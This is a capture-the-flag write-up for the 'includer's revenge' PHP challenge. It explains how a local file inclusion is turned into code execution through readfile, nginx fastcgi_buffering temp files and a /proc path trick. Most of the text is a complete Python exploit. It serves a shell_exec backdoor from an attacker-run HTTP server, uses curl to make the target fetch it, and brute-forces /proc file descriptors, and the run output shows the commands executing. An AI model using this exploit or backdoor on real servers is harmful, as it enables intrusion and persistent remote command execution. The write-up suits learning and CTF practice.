As promised here is a writeup of the includer’s revenge challenge exploiting the additional fastcgi_buffering
/ readfile
local file inclusion vulnerability.
We are presented with a minimal PHP (🤎) challenge with the goal of getting code execution:
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
It’s clear that we again have a (hard?) LFI PHP task via include_once($_GET['file'] ?? 'index.php')
.
Additionally, the challenge seems to contain a suspicious readfile
branch in the otherwise aesthetically pleasing minimal appearance.
Let’s use this feature to write a file with attacker-chosen content in order to get code execution.
Note: this challenge can also be solved without the readfile
feature, as demonstrated here.
readfile
is a neat PHP function that: “Reads a file and writes it to the output buffer.”
Contrary to include
, it also supports reading URL streams like http://
resources and directly writes them to the output buffer.
readfile
to read a big and slow HTTP resource (and keep the connection open)fastcgi_buffering
to create a tempfilereadfile
and fastcgi_buffering
seems to only create a file when the client is connected via HTTP/1.0 (see curl
part in exploit). Otherwise, chunked transfer can be used.
Nginx instantly unlinks the newly created file.
Including the new file via our friend procfs (🤎) e.g /proc/$NGINX_WORKER_PID/fd/$FD
only works within a very small time window and requires a lot of luck (or a lot of violent force).
If we’re too slow, PHP’s include
resolves this path to strings like /var/lib/nginx/fastcgi/4/01/0000000014 (deleted)
, which doesn’t exist in the filesystem.
Luckily the logic in include
can be confused via /proc/self/fd/$NGINX_WORKER_PID/../../../$NGINX_WORKER_PID/fd/$FD
(thanks @hlt for this trick!), which will make it always interpret the content of the original file. This trick greatly reduces the amount of luck/force needed to make this exploit work reliably and quickly.
Note: This race can also be won without confusing include
, see pasten’s includer’s revenge + counter writeup.
Full exploit:
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import threading, secrets, time, requests, sys, os, hashlib, signal
password = secrets.token_urlsafe(16)
backdoor_name = secrets.token_urlsafe(8)
backdoor_password = secrets.token_urlsafe(16)
backdoor_password_hash = hashlib.md5(backdoor_password.encode()).hexdigest()
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
MY_IP = sys.argv[3]
MY_PORT = int(sys.argv[4])
payload = f'''<?php if(md5($_GET["s"])==="{backdoor_password_hash}")echo shell_exec($_GET["c"]); echo 'DONE-'.'{backdoor_name}';__halt_compiler();'''.encode()
bruter_runnig = False
found = False
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
global bruter_runnig
self.send_response(200)
self.end_headers()
print(f'[*] request: {self.path}', file=sys.stderr)
if password not in self.path:
return
for i in range(15):
if found:
exit()
if i == 0:
self.wfile.write(payload*(13*1024*1024//len(payload)))
if not bruter_runnig:
bruter_runnig = True
for pid in nginx_workers:
a = threading.Thread(target=attacker, args = (pid, ), daemon=True)
a.start()
else:
self.wfile.write(payload)
time.sleep(1)
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
def server():
print('[+] http server started', file=sys.stderr)
server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
server.serve_forever()
s = threading.Thread(target=server, daemon=True)
s.start()
nginx_workers = []
sess = requests.Session()
r = sess.get(URL, params={
'file': f'/proc/cpuinfo'
})
processors = r.text.count('processor')
print(f'[*] processors: {processors}', file=sys.stderr)
for pid in range(250):
r = sess.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= processors:
break
time.sleep(0.1)
else:
print('[+] not all nginx workers found :(, try to increase pid max?', file=sys.stderr)
exit(1)
def attacker(pid):
global found
time.sleep(2)
while True:
print(f'[+] starting brute: {pid}', file=sys.stderr)
for fd in range(4, 64):
if found:
exit()
r = requests.get(URL, params={
'file': f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}',
'action': 'include',
's': backdoor_password,
'c': 'echo "\n"; /readflag; id; ls -l /proc/*/fd/; echo "\n"'
})
if r.status_code == 200 and 'DONE-' + backdoor_name in r.text:
print(f'[*] FOUND {pid} {fd} {r.text}', file=sys.stderr)
found = True
exit()
for i in range(15):
print(f'[+] starting download {i}', file=sys.stderr)
os.system(f'timeout 15 curl -s -0 --limit-rate 1k "{URL}/?action=read&file=http://{MY_IP}:{MY_PORT}/?{password}" > /dev/null &')
for _ in range(int(15/0.5)):
if found:
exit()
time.sleep(0.5)
Output:
$ time ./pwn.py 127.0.0.1 8088 172.19.124.139 31337
[+] http server started
[*] processors: 2
[*] nginx found: 33
[*] nginx found: 34
[+] starting download 0
172.19.112.1 - - [27/Dec/2021 19:38:41] "GET /?SbPQvlu1kQtM66MESjp68A HTTP/1.0" 200 -
[*] request: /?SbPQvlu1kQtM66MESjp68A
[+] starting brute: 33
[+] starting brute: 34
[*] FOUND 33 16 T["s"])==="435d80d9c289c156c58731cee9c3406d")echo shell_exec($_GET["c"]); echo 'DONE-'.'s333Xtk3nK4';__halt_compiler();
hxp{lol, I still code php for a 'living' :( :( :(}
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/proc/33/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 11 -> socket:[3559299]
lrwx------ 1 www-data www-data 64 Dec 27 18:37 12 -> socket:[3560586]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 13 -> socket:[3559417]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 15 -> socket:[3559418]
lrwx------ 1 www-data www-data 64 Dec 27 18:36 16 -> /var/lib/nginx/fastcgi/4/01/0000000014 (deleted)
l-wx------ 1 www-data www-data 64 Dec 27 18:35 2 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 3 -> socket:[3492454]
l-wx------ 1 www-data www-data 64 Dec 27 18:33 4 -> /dev/pts/0
l-wx------ 1 www-data www-data 64 Dec 27 18:33 5 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 6 -> socket:[3492450]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 7 -> socket:[3492451]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 8 -> socket:[3492453]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 9 -> anon_inode:[eventpoll]
/proc/34/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 10 -> socket:[3492455]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 11 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 12 -> anon_inode:[eventfd]
l-wx------ 1 www-data www-data 64 Dec 27 18:35 2 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 3 -> socket:[3492452]
l-wx------ 1 www-data www-data 64 Dec 27 18:33 4 -> /dev/pts/0
l-wx------ 1 www-data www-data 64 Dec 27 18:33 5 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 6 -> socket:[3492450]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 7 -> socket:[3492451]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 8 -> socket:[3561511]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 9 -> socket:[3560575]
/proc/87/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:38 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Dec 27 18:38 1 -> pipe:[3561512]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 2 -> /dev/null
lrwx------ 1 www-data www-data 64 Dec 27 18:38 4 -> socket:[3560443]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 6 -> socket:[3492437]
/proc/self/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:38 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Dec 27 18:38 1 -> pipe:[3561512]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 2 -> /dev/null
lr-x------ 1 www-data www-data 64 Dec 27 18:38 3 -> /proc/90/fd
lrwx------ 1 www-data www-data 64 Dec 27 18:38 4 -> socket:[3560443]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 6 -> socket:[3492437]
/proc/thread-self/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:38 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Dec 27 18:38 1 -> pipe:[3561512]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 2 -> /dev/null
lr-x------ 1 www-data www-data 64 Dec 27 18:38 3 -> /proc/90/task/90/fd
lrwx------ 1 www-data www-data 64 Dec 27 18:38 4 -> socket:[3560443]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 6 -> socket:[3492437]
DONE-s333Xtk3nK4
real 0m7.293s
user 0m0.460s
sys 0m0.057s